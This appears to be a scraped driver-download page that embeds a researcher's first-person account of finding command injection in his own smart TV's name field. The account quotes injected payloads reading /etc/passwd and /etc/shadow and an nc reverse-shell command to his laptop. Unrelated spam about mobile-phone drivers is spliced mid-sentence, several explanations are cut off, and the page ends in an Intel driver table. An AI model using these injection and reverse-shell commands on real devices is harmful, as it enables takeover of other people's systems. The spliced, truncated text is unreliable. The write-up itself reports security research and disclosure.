It was one of those lazy evenings, just watching TV after a long day. I was tired but kept on thinking about a vulnerability I found earlier on in a router someone gave me. Finding a flaw in such a device is always quite fun because you often see things that aren’t meant to be seen by the users, except the developers and maybe the company’s tech support team.
Since I was very tired, I just wanted to set the sleep timer on the television and lie down. But while setting the timer I wondered about other possible menu functions, and if there any hidden features that are only meant for the support team or the developers. After a quick Google search on my mobile phone I found out that this brand of televisions has a code that opens a hidden menu.
This piece was originally published on Netsparker, developer of a website vulnerability scanner used by companies including Samsung, Verisign and NASA.
Apr 24, 2017 Command. Chars/ succeeded `which nc && sleep 2` which is a linux command that returns the path to a program if it exists. && sleep 2 would freeze the menu for 3.2 seconds if the which. You can download and update all Windows Mobile-based device support drivers for free on this page. Choose a proper version according to your system information and click download button to quickly.
After opening the settings and typing in the code on my remote control, another menu popped up on the left side of the screen. Almost all of the categories it showed weren’t accessible. I could only activate “Hotel Mode” and view the version number of the set.
I wanted to find out more about the TV. Within the settings, there was a category called “info”. I opened it and only saw some more version numbers. Then something else caught my attention; I could actually give my TV set a name.
Mobile Phones Uk
The vulnerability in my Smart Television set
When you work in Information Security, you can’t help but to test some payloads you use on a daily basis on other input fields you encounter. It might be a GET parameter on your router’s web interface, the control panel of your new printer, or, in my case, a TV. So I thought it would be fun to rename my TV to “television `sleep 5`”.
Smardtv Mobile Phones & Portable Devices Driver Download For Windows 8.1
After entering and submitting the payload from my remote ,the settings menu just froze for a long time. Once it was responsive again I changed the name so I could select other menu entries. I didn’t really think that I had just found a command injection or something similar. It’s not odd for my TV to hang for a few seconds before changes are made, but because now it took a longer time to become responsive, it made me curious.
The time did not match my input as it was way longer than five seconds. I thought it might have something to do with the backtick characters I injected. Maybe the TV did not expect them and threw an error which prevented it from loading. I typed in “television `sleep 0`” and tried it again. It loaded instantly.
There is something definitely happening, but was not sure what and how. So I decided to measure the time. It turned out that it always took the television set three times longer than the input number to become responsive, as shown below:
- sleep(2) - 6 seconds
- sleep(3) - 9 seconds
- sleep(5) - 15 seconds
Running Commands on my Smart TV
I couldn’t believe it. There was actually a command injection in the first input field I tried. Freezing the menu was not an ultimate proof though, and it was not very useful in terms of exploitation. Since I only had 31 characters, minus the two backticks, my payload could only consist of 29 characters.
Below is a list of commands I tried to run on the TV, including an explanation of what they are and also a confirmation if they succeeded or not.
`which nc && sleep 2`
which is a linux command that returns the path to a program if it exists.
&& sleep 2 would freeze the menu for 3*2 seconds if the which function
`which ssh && sleep 2`
I wanted to see if ssh was installed.
Zoom telephonics mobile phones & portable devices driver download. `which wget && sleep 2`
But it had wget
`cat /etc/passwd && sleep 2`
I wanted to see if /etc/passwd was readable. It was, and it would have
`cat /etc/shadow && sleep 2`
This one is interesting. When you have root privileges the /etc/shadow
`ls /etc/shadow && sleep 2`
This is the explanation why the shadow file couldn’t be opened. It just
It was really late so I decided to go to sleep and try to get a shell the next day. After waking up the hardest part followed: getting out of bed to get the laptop and an ethernet cable. Until now I didn’t even have to go anywhere and I found it quite funny that I was able to run system commands on my TV just by using a remote control.
Getting shell access on the Smart TV
My TV is wall mounted, so plugging in a cable is not as easy as one would imagine. After a dislocated shoulder and several threats towards the TV I plugged the cable in. I connected it to the laptop and found out the laptop’s IP with ipconfig.
So now that I knew the IP address of my laptop, I only had to get a reverse shell to my laptop. Therefore I did not need to know the IP address of the TV. Also a reverse shell is handy because it would bypass any possible firewall rules blocking incoming connections. But before thinking about how to get one in less than 29 characters I wanted to learn a little bit more about the system.
Using Netcat on the Smart TV
I found out that there is nc installed on the TV set, so I decided to pipe the output of certain commands through nc back to my laptop. The first one I tried was of course id, which would tell me whether or not I had root privileges on the Smart TV set.
As seen from the above I had root privileges. This wasn’t too surprising, but it was still nice to see. The next thing I did was getting a directory listing of / with `ls -la / nc 169.254.56.216 5`
Perfect. But I still had no shell to issue proper commands. All of them were more or less length restricted and not too useful. However, since the version of nc that was installed on the TV allowed the -e flag it was easy to get a reverse shell with: `nc 169.254.213.210 5 -e sh`
I had shell access on the Smart TV
Perfect. I now had a proper shell to work with. I was especially interested in messing with the TV in a visible way. There were multiple possibilities, such as changing the logo that’s being shown during the boot up process, or changing the apps icons. Since this is a smart TV, it has some preinstalled apps such as Youtube and Skype.
I noticed that most of the file system was read only, so I could not just change the logos. But there were pictures that were frequently changing, i.e. the channel preview boxes you can see while zapping between different TV channels. They contained snapshots of the programs that ran when you visited the channel. Obviously those had to be saved in a place where you could read and write files.
I noticed that the icon images were .png files. I listed all files with a .png extension by using the command find / -name *.png but the preview files were not there. However I tried the same search but this time for .jpg files, and I noticed some files like channelImage123.jpg. After uploading the files that I wanted to show, and replacing the corresponding channelImage files, this was the result.
Your TV is not as smart as you would think
Internet connected devices can have vulnerabilities in the weirdest of places, where you would expect them less. When I tested the sleep command I didn’t even think it would work at all, I did it just out of boredom. I also had no idea that my TV runs on linux and was even more than surprised to see that my vulnerabilities are exploitable.
This vulnerability is not exploitable remotely, however it convinced me that I was right to not connect my TV to the internet, and use its (not so) smart features. I am not really comfortable with the thought that someone can have control over my TV.
I think there are way cooler things and more vulnerabilities that I could exploit on the TV set. But it is not worth the heart pains I get when the device freezes, and I have to wait for a minute to see whether it was bricked or not. Because after all you watch television to relax and not to raise your blood pressure, except if you like to watch football.
Now Read This…
Here is the list of Intel Mobile Phones & Portable Devices drivers, You can download & update Intel Mobile Phones & Portable Devices drivers from our site for free. Just browse the list and download the Intel Mobile Phones & Portable Devices drivers now!Total 3136 Drivers For Intel Mobile Phones & Portable Devices.
|intel||2nd Generation Intel(R) Core(TM) Processor Family DRAM Controller - 0100 drivers||Download|
|intel||2nd generation Intel(R) Core(TM) processor family DRAM Controller - 0104 drivers||Download|
|intel||2nd generation Intel(R) Core(TM) processor family PCI Express Controller - 0101 drivers||Download|
|intel||2nd generation Intel(R) Core(TM) processor family PCI Express Controller - 0105 drivers||Download|
|intel||2nd generation Intel(R) Core(TM) processor family PCI Express Controller - 0109 drivers||Download|
|intel||2nd generation Intel® Core™ processor family PCI Express Controller - 0101 drivers||Download|
|intel||2nd generation Intelｮ Core・processor family DRAM Controller - 0104 drivers||Download|
|intel||2nd generation Intelｮ Core・processor family PCI Express Controller - 0101 drivers||Download|
|intel||3rd Gen Core processor DRAM Controller - 0154 drivers||Download|
|intel||61883 Class Bus Device drivers||Download|
|intel||7MP DSC drivers||Download|
|intel||808 PureView drivers||Download|
|intel||9.0M MPEG4 DV drivers||Download|
if you did not find the drivers which you want, you can browser the Intel drivers category and find the drivers which you want.
|Laptops & Desktops(601)||Bluetooth Devices(111)||Cameras, Webcams & Scanners(1086)|
|CD-ROM(1)||Graphic, Video Cards(165)||Hard Disk Controller(554)|
|Input Devices(15)||Mobile Phones & Portable Devices(3136)||Modems(21)|
|Monitors(2)||Motherboards(2048)||Mice & Touchpads(1)|
|Network & Wireless Cards(366)||Port Devices(60)||SCSI & RAID Devices(74)|
|Sound Cards & Media Devices(53)||USB devices(877)||Others(842)|